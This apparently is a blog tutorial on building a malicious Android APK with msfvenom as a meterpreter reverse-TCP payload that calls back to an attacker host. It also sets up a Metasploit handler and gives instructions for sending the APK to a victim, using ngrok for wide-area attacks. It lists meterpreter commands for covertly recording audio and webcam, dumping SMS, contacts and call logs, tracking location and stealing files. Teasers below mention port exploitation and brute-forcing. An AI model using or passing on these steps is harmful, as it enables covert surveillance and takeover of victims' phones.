Skip to main content

Android Hacking With Metasploit





Hello


This is my first blog regarding the android hacking with metasploit.

I am in the learning stage and if you found some error then point out them and feel free to contact me.


Step 1:-

First of all we have to open terminal and start some services with commands like:-

                                         (a)start apache2 start
                                         (b)start postgresql start


Then we have to start metasploit framework with the command msfconsole.


Step 2:-

Then we have to create android malware using metasploit framework in new window.

Execute the Command:-


msfvenom -p android/meterpreter/reverse_tcp LHOST= <attacker IP> LPORT= <attacker PORT> R > <filename.apk>


N.B:- msfvenom is a command line code that is used to generate and output all of the various types of shell code that are available in metasploit framework.


Step 3:-

Open the msfconsole tab in the terminal and let us use the multi/handler for a reverse connection from the victim.

So, to use multi/handler we use the command

use multi/handler


Step 4:-

Now its time to set payload.

So, here we are going to use

set payload android/meterpreter/reverse_tcp


Step 5:-

After successful selection of payload we have to check the LHOST and LPORT for reverse connection with the command


show profiles


Step 6:-

Now its time for exploit which give you a meterpreter session with the help of multi/handler.

Step 7:-

Now its time to send the download link which contains the malicious .apk file to the victim to download. You can use ngrok for WAN level attacks.



Voila!!!

You got the access of the android device.

Now use some basic meterpreter commands:-

pwd :- current directory
record_mic :- Record audio
webcam_chat :-start a video chat
webcam_list :-List webcams
webcam_snap:-Snapshot
webcam_stream:-Play a video stream from the specified webcam
check_root:- check device is rooted or not
dump_calllog:- Get call logs
dump_contacts:- Get contacts details
dump_sms:- Get sms messages
geolocate:- Get current location
send_sms:- send sms from target session
download <file_name> </location in which you want to save in your PC>:- To download some files
upload <file_name> </location in which you want to save in your PC>:- Upload some files
edit <file_name> :- File modification


N.B:- All the commands are in bold letters.


Suggestion:-

  • Don't download from untrusted sources.
  • Don't download pirated apks.
  • If downloading then check ,is there some malicious code attached in the files or not.
  • Always prefer downloading applications from APP STORE or GOOGLE PLAY STORE.



Thank You

Popular posts from this blog

Exploiting All Ports in Different Techniques

In this section we will exploit the active ports in different techniques. The ports we are trying to exploit are FTP, SSH, TELNET, SMTP, NETBIOS-SSN, JAVA RMI, BINDSHELL, ProFTPD, MYSQL, DISTCCD, VNC, X11, UnrealIRCD, TOMCAT, RUBY-DRB. 1.  21-FTP Method 1: Login with Anonymous as username and no password. If you need more info about Anonymous FTP you can find it here. https://whatis.techtarget.com/definition/anonymous-FTP-File-Transfer-Protocol ftp 192.168.0.130     Method 2 : Through Brute-force using Hydra but you need to have a custom list of usernames and passwords. hydra -L /root/Desktop/USERNAMES.txt -P /root/Desktop/PASSWORDS.txt <Target IP Address> ftp -V     It will take each username and password from the given files and try to login to the target FTP service. Once you found the credentials you can directly log in.     After log ging in  to a user account, You can get root access by doing Privilege escalation. Method 3 : Exploiting...

Files Transferring Techniques

        Often I struggled to transfer files from Host to Attacker and Attacker to Host.Sometimes i forget the commands and techniques that I learned before.So i am making notes of this to refer in future.We can easily downloads files from web server using browser..but what about command line.         File Transfer is a pain, and in most cases,After gaining initial access on the target machine, and with file transfers, we can upload tools and exploits on the target to try and elevate the privileges, exfiltrate sensitive data from the target back to your machine or just move around files to/from the target and you . Linux(Setting up the server's) 1.Apache We can serve files using apache server,but i love using python modules instead of apache server. Because first we need to move files into   /var/www/html   directory,then we need to start  Apache  server.          ...